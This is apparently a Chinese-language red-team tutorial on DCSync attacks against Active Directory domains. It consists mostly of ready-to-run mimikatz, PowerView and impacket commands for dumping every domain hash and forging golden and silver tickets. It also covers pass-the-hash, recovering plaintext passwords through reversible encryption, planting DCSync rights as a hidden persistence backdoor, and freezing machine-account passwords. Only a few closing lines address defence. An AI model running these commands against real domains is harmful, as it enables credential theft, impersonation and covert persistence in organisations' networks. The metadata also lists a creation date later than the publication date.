在域环境中,不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC 2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync 就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求。
新版本的 Mimikatz新增加了 DCSync 功能。该功能可以模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希。
当获得了域内管理员权限,如果能修改域内普通用户的权限,使其具有DCSync权限的话,那么普通域用户也能导出域内用户的哈希,这样可以做一个隐蔽的权限维持。
默认只有域控主机账号和域管理员能Dcsync,域管和邮件服务器的机器账号有写ACL的权限,可以给指定用户添加Dcsync来dump域哈希。
对域对象只需要具备一下这两个权限,就有dcsync的权限
‘DS-Replication-Get-Changes’ = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
‘DS-Replication-Get-Changes-All’ = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
利用条件
1.域控本地管理组用户(administrators,Domain Admins,Enterprise Admins的组内用户)
2.域控制器的计算机用户
3.拿下exchange服务器后可以WriteACL赋予指定用户或域机器DCSync权限
利用方式:
拥有上述条件的任意用户权限,即可导出域内任意用户的hash
mimikatz
导出administrator用户的Hash
域内
lsadump::dcsync /domain:hiro.com /user:administrator
域外
lsadump::dcsync /domain:bjedu.cn /dc:bjedudc02 /user:krbtgt /authuser:bjedudc02$ /authdomain:bjedu /authpassword:"" /authntlm
域控导出所有域用户的哈希
privilege::debug
lsadump::dcsync /domain:hiro.com /all /csv
其他机器读取域内密码hash
lsadump::dcsync /domain:redteam.lab /dc:dc1.redteam.lab /user:administrator /authuser:dc1$ /authdomain:redteam.lab /authpassword:"" /authntlm
后门利用
使用Empire下的powerview.ps1脚本执行以上三条ACE
DCsync是几个权限的集合体,如果使其具有DCSync权限的话,可以向域内普通用户添加如下三条ACE(Access Control Entries):
DS-Replication-Get-Changes—>(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All—>(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes—>(GUID:89e95b76-444d-4c62-991a-0facbeda640c)
在域管用户上给域用户win7添加以上三条ACE
powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1; Add-DomainObjectAcl -TargetIdentity ’DC=test,DC=local‘ -PrincipalIdentity exchange2016$ -Rights DCSync -Verbose}"
Add-DomainObjectAcl -TargetIdentity “DC=hiro,DC=com” -PrincipalIdentity win7 -Rights DCSync -Verbose
当用户win7具有DCSync权限后,可以导出域内哈希:
python3 secretsdump.py hiro.com/win7:123456QWE.@192.168.228.10 -dc-ip 192.168.228.10
给域用户win7删除以上三条ACE
Remove-DomainObjectAcl -TargetIdentity “DC=hiro,DC=com” -PrincipalIdentity win7 -Rights DCSync -Verbose
域用户win7失去了DCSync,同样也无法导出域内hash了
使用黄金票据+DCSync导出域内所有用户的Hash
生成黄金票据:
得到krbtgt用户hash
lsadump::dcsync /domain:hiro.com /user:krbtgt
导入黄金票据
kerberos::golden /user:administrator /domain:hiro.com /sid:S-1-5-21-1909134247-741334235-3019370817 /krbtgt:5f468f6d7ac43c327396d832a0241d81 /ptt
导出域hash
privilege::debug
kerberos::list
导出所有用户的哈希
lsadump::dcsync /domain:hiro.com /all /csv
哈希传递
python3 .\wmiexec.py hiro/administrator@192.168.228.10 -hashes aad3b435b51404eeaad3b435b51404ee:e9bf196dc93a1219e3b2e79b1b7aa36e
Dcsync+可逆加密存储密码
Active Directory 帐户有一项遗留功能,称为“可逆加密”。通常,使用 NT单向函数对用户密码进行散列以创建 NTLM hash。NTLM hash无法逆转,必须破解。
如果启用了可逆加密,则用户的密码将使用加密存储,这意味着可以将加密的数据还原回用户的密码。使用可逆加密存储的密码不是散列,因为可以调用函数来恢复原始明文密码。
帐户启用可逆加密,帐户的明文密码不会立即可用;如果对帐户启用了可逆加密并且用户在设置此配置后更改了密码,则明文密码将保存在 Active Directory 数据库中。当用户再次调用Dcsync后会显示其明文。
勾选“可逆加密存储密码”这个属性后,用户再次更改密码会显示其明文密码;将administrator设置为可逆加密存储密码。
使用ldap条件勾选其使用可逆加密存储属性的帐户
get-adobject -ldapfilter “(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=128))”
Set-ADUser marry -AllowReversiblePasswordEncryption $true
更改administrator密码,dcsync就能显示其明文密码
python3 secretsdump.py redteam.lab/administrator:Qq123456..@192.168.129.130 -dc-ip 192.168.129.130 -just-dc-user administrator
使用MachineAccount实现DCSync
MachineAccount是每台计算机在安装系统后默认生成的计算机帐户
如果计算机加入域中,会将计算机帐户的密码同步到域控制器并保存在域控制器的NTDS.dit文件中
计算机帐户的密码默认每30天自动更新,密码长度为120个字符,所以说,即使获得了计算机帐户密码的hash,也很难还原出计算机帐户的明文口令
关闭域内计算机帐户密码自动更新的两种方法(适用于域内主机)
1.修改组策略
选择Default Domain Policy
Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\
2.修改组策略的配置文件
Default Domain Policy对应的guid为31B2F340-016D-11D2-945F-00C04FB984F9
配置文件路径为:
\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit
修改文件GptTmpl.inf,在[Registry Values]下添加新的内容:
MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange=4,1
配置完成,将系统时间调快30天,hash保持不变
获得MachineAccount hash的方法
1.通过本地SAM文件中读取密码哈希
mimikatz命令示例:
privilege::debug
token::elevate
lsadump::secrets
返回的结果中,$machine.ACC项对应计算机帐户,如下图
2.使用DCSync导出所有帐户的hash
(1)使用mimikatz
在域控制器上使用mimikatz导出域内所有用户的hash
mimikatz.exe “lsadump::dcsync /domain:test.com /all /csv” exit
(2)使用 secretsdump.py
python3 secretsdump.py test/Administrator:DomainAdmin123!@192.168.1.1
secretsdump.py的实现原理:
使用计算机帐户hash通过smbexec或者wmiexec远程连接至域控制器并获得高权限,进而从注册表中导出本地帐户的hash,同时通过Dcsync或从NTDS.dit文件中导出所有域用户的hash。
3.通过CVE-2020-1472
CVE-2020-1472能够在未授权的状态下远程修改DC计算机帐户的口令hash
像服务器一样,DC拥有一个带有密码的机器帐户,该帐户以加密方式存储在注册表中。引导时将其加载到lsass中。如果使用Zerologon更改密码,则仅AD中NTDS密码会更改,而不是注册表或lsass中的密码。利用后每当发出新的Kerberos票证时,DC无法使用lsass中的机器帐户密码来解密服务票证,并且无法使用Kerberos中断身份验证。
使用MachineAccount实现DCSync
例如,获得了域控制器DC1的计算机帐户口令hash为7da530fba3b15a2ea21ce7db8110d57b
1.使用mimikatz
这里需要制作白银票据(Silver Ticket),接着获得LDAP服务的访问权限
mimikatz “kerberos::golden /domain:test.com /sid:S-1-5-21-254706111-4049838133-2416586677 /target:DC1.test.com /service:LDAP /rc4:7da530fba3b15a2ea21ce7db8110d57b /user:krbtgt /ptt” “lsadump::dcsync /domain:test.com /all /csv” exit
/sid表示域的sid,
/rc4表示计算机帐户的NTLM hash
/user:krbtgt表示伪造成用户krbtgt,生成票据
2.使用secretsdump
python2 secretsdump.py -hashes :e411580b657837aee7aaadb6e2a4449b redteam/DC1$@192.168.129.130 -just-dc-user krbtgt
注意:
1.secretsdump支持从域外的计算机连接至域控制器
2.如果使用域内普通计算机帐户的口令hash连接对应的计算机,那么会失败,提示rpc_s_access_denied。
也可以通过 wmiexec.py 或smbexec.py远程执行cmd命令 (server2016已经不能用机器账户进行认证登陆)
python smbexec.py -hashes :7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1 whoami /priv
python wmiexec.py -hashes :7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1 whoami /priv
防御
通过网络监控检测来自白名单以外的域控制器数据同步复制。
给域控设置白名单,只允许白名单内的域控IP发起数据同步请求。
利用AD自检工具查看哪些域用户有Dcsync的权限。
History
- Created 2022-10-22 14:57
- Published 2021-01-02 15:01
- Updated 2024-10-20 23:20